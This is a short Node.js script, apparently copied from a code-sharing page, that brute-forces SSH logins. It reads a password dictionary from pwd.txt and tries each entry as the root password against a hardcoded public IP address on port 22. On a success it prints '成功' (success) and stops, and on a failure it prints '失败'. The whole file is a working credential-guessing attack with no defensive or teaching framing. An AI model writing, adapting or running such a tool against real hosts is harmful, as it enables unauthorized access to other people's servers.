| 123456789101112131415161718192021222324252627282930313233343536373839404142434445 |
- const { Client } = require('ssh2');
- const fs = require("fs");
- const fn = (config, pwd) => {
- const option = {
- ...config,
- password: pwd || ''
- }
- return new Promise((res, rej) => {
- const conn = new Client();
- conn.connect(option)
- conn.on('ready', res)
- conn.on('error', rej)
- })
- }
- class test {
- constructor() {
- // 字典集
- const pwds = fs.readFileSync('./pwd.txt',{encoding:'utf-8'}).toString().split('\r\n')
- // 基础配置
- const config ={
- host: '68.183.74.4',
- port: 22,
- username: 'root',
- }
- this.init(config,[...new Set(pwds)])
- }
- async init(config,pwds) {
- console.log(pwds);
- for (let k = 0; k < pwds.length; k++) {
- const el = pwds[k]
- try {
- await fn(config,el)
- console.log('成功', el);
- break
- } catch (error) {
- console.log(k, '失败');
- }
- }
- }
- }
- new test()
|